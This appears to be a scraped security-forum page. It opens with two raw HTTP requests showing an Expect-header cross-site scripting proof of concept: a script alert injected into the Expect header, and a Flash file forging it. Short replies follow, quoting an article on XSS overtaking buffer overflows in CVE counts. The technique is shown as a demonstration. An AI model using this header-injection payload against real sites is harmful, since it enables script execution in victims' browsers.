Paid Advertising
GET / HTTP/1.1 Accept: */* Accept-Language: en-gb Content-Type: application/x-www-form-urlencoded Expect: <script>alert(’http://www.whiteacid.org is vulnerable to the Expect Header vulnerability.’);</script> Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Host: www.whiteacid.org Connection: Keep-Alive
GET / HTTP/1.1 Host: www.whiteacid.org User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-gb,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://127.0.0.1/expect.swf?http://www.whiteacid.org Cookie: [removed]
Well... that drop for overflows isn't all due to XSS, two other techniques must have helped.Quote
"XSS is now No.1. It literally took one year and probably less to reach No. 1," he said. "It actually pushed buffer overflow down to No. 4."
No, it's rampant due to crappy coding.Quote
[xss is] especially rampant because of the popularity of social networking sites.
But that has nothing to do with the threat, that's the number of XSSesQuote
The number of XSS flaws may be blown out of proportion
Yes, you already said that.Quote
"This is important to realize because XSS is now ranked by CVE as the most prevalent vulnerability, even more prevalent than buffer overflows," he said.
